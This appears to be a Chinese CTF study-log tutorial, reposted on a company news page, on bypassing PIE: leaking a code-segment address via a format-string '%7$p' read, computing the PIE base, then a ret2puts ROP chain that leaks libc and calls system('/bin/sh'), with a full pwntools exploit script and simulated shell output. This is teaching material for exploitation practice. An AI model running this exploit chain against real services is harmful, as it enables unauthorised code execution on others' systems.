尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

【学习记录】Week5(三):PIE 随机化破解——代码段地址泄露与 ret2puts 组合拳

【学习记录】Week5(三):PIE 随机化破解——代码段地址泄露与 ret2puts 组合拳
📅 发布时间:2026/7/2 8:21:23

写在前面:在绕过 Canary 之后,我们经常会遇到另一座大山——PIE(位置无关可执行文件)。开启 PIE 后,程序自身的代码段(.text)、PLT 表、GOT 表等地址每次运行都会随机变化。这意味着我们之前辛辛苦苦找的pop rdi; ret和puts@plt地址全部失效!本文将教你如何利用栈上残留的代码段地址推导出 PIE 基址,并在已知基址的前提下,利用ret2puts完成对 libc 地址的二次泄露。

📑 目录

  1. PIE 机制解析:代码段也随机了,ROP 链何去何从?
  2. 破局核心:相对偏移固定与“12位不变”原理
  3. 第一阶段:泄露栈上残留地址,计算 PIE 基址
  4. 第二阶段:重获新生,ret2puts 泄露 libc 地址
  5. 实战推演:双阶段泄露打通 PIE 保护

1. PIE 机制解析:代码段也随机了,ROP 链何去何从?

在没开 PIE 的情况下,程序编译后的.text段地址是固定的(如0x401000)。开了 PIE 后,程序每次加载到内存的基址是随机的(如第一次是0x555555554000,第二次是0x7ffff7a00000)。

痛点所在:
我们之前依赖的程序自带的 Gadget(如pop rdi; ret)和puts@plt的地址全变成了未知的随机值。没有pop rdi就无法传参,没有puts@plt就无法打印,ROP 链直接断在起点。

2. 破局核心:相对偏移固定与“12位不变”原理

PIE 并不是完美的。它的随机化是以内存页(通常是 0x1000 字节,即 4KB)为粒度进行的。
这意味着:

  1. 基址的末尾 12 位(3个十六进制位,即 1 页内偏移)永远是000。
  2. 程序内部各个地址之间的相对偏移量是永远不变的。

例如,不管程序加载到哪里,main函数相对于基址的偏移量如果是0x1156,那么main的真实地址永远是PIE_base + 0x1156。
只要我们能泄露任意一个代码段内的地址,用它的真实地址减去它的相对偏移,就能逆推出当前的 PIE 基址!

3. 第一阶段:泄露栈上残留地址,计算 PIE 基址

怎么泄露代码段地址呢?最简单的方法是利用栈上残留的返回地址。

原理推演:
当main函数调用vuln函数时,栈上会压入main函数中call vuln的下一条指令地址(如main+0x2a)。这个地址属于代码段!
如果vuln函数中存在可以打印栈数据的漏洞(如格式化字符串%p泄露,或者利用puts打印未初始化的局部变量越界读到栈上的返回地址),我们就能拿到它。

假设性场景(格式化字符串泄露):
程序执行printf(buf),我们输入%p.%p.%p...逐个探测栈上的数据。

模拟终端输出:

0x7fff12345670.0x555555555156.0x7ffff7a...

假设通过偏移计算,我们确认第二个泄露的值0x555555555156是main函数的返回地址(main+0x2a之类)。
我们在 IDA 或 Ghidra 中查看该程序,发现这个指令在未开 PIE 时的静态地址是0x1156。

计算 PIE 基址:

leak_code_addr = 0x555555555156 static_offset = 0x1156 pie_base = leak_code_addr - static_offset log.success(f"PIE Base: {hex(pie_base)}") # 输出: PIE Base: 0x555555554000 (末尾必定是 000)

拿到了 PIE 基址,程序对我们来说又变成了“透明”的!

4. 第二阶段:重获新生,ret2puts 泄露 libc 地址

既然有了 PIE 基址,我们就能算出puts@plt和 Gadget 的真实地址了。接下来,就是 Week4 学过的ret2libc泄露环节。

核心公式:

  • 真实 Gadget 地址 = PIE 基址 + 静态 Gadget 偏移
  • 真实puts@plt地址 = PIE 基址 +puts@plt偏移
  • 真实puts@got地址 = PIE 基址 +puts@got偏移

假设性数据准备:

# 已通过 PIE 基址计算出的真实地址 pop_rdi = pie_base + 0x1193 puts_plt = pie_base + 0x1030 puts_got = pie_base + 0x4018 main_addr = pie_base + 0x1156 # 用于二次返回

有了这些真实地址,我们就可以构造第一发 Payload:puts(puts@got),把 libc 的真实地址打印出来。

5. 实战推演:双阶段泄露打通 PIE 保护

完整攻击流推演:

阶段一:泄露 PIE 基址

from pwn import * p = process('./vuln') elf = ELF('./vuln') # 1. 触发格式化字符串或栈越界读,泄露栈上的代码段地址 p.sendline(b'%7$p') leak = p.recvline() code_addr = int(leak, 16) # 2. 计算 PIE 基址 (假设泄露的是 main+0x2a, 静态地址 0x1156) pie_base = code_addr - 0x1156 log.success(f"PIE Base: {hex(pie_base)}") # 动态计算真实地址 pop_rdi = pie_base + 0x1193 ret = pie_base + 0x101a # 用于栈对齐 puts_plt = pie_base + elf.plt['puts'] puts_got = pie_base + elf.got['puts'] main_addr = pie_base + elf.symbols['main']

阶段二:ret2puts 泄露 libc 并 Getshell

# 3. 构造 Payload 1: 泄露 puts 的 libc 真实地址 payload1 = b'A' * 40 # 假设偏移 40 (假设已绕过 Canary) payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(main_addr) # 返回到 main,准备二次溢出 p.sendline(payload1) # 4. 接收并计算 libc 基址 leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00')) libc_base = leaked_puts - 0x6f6a0 # 假设本地 libc puts 偏移 log.success(f"Libc Base: {hex(libc_base)}") system_addr = libc_base + 0x45390 bin_sh_addr = libc_base + 0x18ce17 # 5. 构造 Payload 2: 调用 system("/bin/sh") payload2 = b'A' * 40 payload2 += p64(ret) # 栈对齐 payload2 += p64(pop_rdi) payload2 += p64(bin_sh_addr) payload2 += p64(system_addr) p.sendline(payload2) p.interactive()

模拟终端输出:

[+] PIE Base: 0x555555554000 [+] Libc Base: 0x7ffff79e2000 [*] Switching to interactive mode $ id uid=1000(user) gid=1000(user) groups=1000(user)

完美!在 PIE 和 ASLR 的双重夹击下,通过“先推 PIE,再推 libc”的连环拳成功拿 Shell。

6. 结语

PIE 保护看似让所有地址都变成了盲盒,但只要抓住“页内偏移不变”这个命门,通过泄露任意一个代码段地址就能逆推出全局基址。
在实际 CTF 中,如果题目同时开了 Canary 和 PIE,通常的解题套娃顺序是:先绕过/泄露 Canary -> 再泄露 PIE 基址 -> 再泄露 libc 基址 -> 最终 ROP。

下一篇,我们将学习一种不需要算偏移、不需要完整地址的精细化控制技术——Partial Overwrite(部分覆盖)与 off-by-null 的结合应用。如果本文对你有帮助,请点赞收藏支持!🙏

相关新闻

  • 5分钟掌握ImDisk:让Windows凭空“变出“硬盘的神奇工具
  • 实时归档,迁移神器|「星盾」手提灾备保险箱发布
  • Scala、Java、Python、JavaScript 的核心特性和应用场景(Python 的“单机“局限性:GIL 机制导致的多核并行缺陷)

最新新闻

  • 工业4-20mA电流环发射器设计与XTR116应用详解
  • 如何解决老款Mac蓝牙失效问题:OpenCore Legacy Patcher的终极驱动修复指南
  • KMR221与MK24FN256VDC12实现高精度电压监测方案
  • 小爱音箱音乐播放终极指南:免费解锁无限听歌体验
  • 3dsconv终极指南:一键转换3DS游戏格式的完整教程
  • 收藏!小白程序员转行AI工程师的10阶段进阶路线图(附Python入门)

日新闻

  • Python Playwright录制功能:从零到一构建自动化测试脚本
  • 如何用开源工具永久保存你心爱的小说:novel-downloader全攻略
  • In-Context Learning不是教知识,而是模式对齐:从5个示例到100个工业级样本的真相

周新闻

  • Windows字体自定义终极方案:No!! MeiryoUI完全指南
  • Deepin Boot Maker:告别命令行,3分钟制作Linux启动盘的智能解决方案
  • Plain Craft Launcher 2:重新定义你的Minecraft游戏体验

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号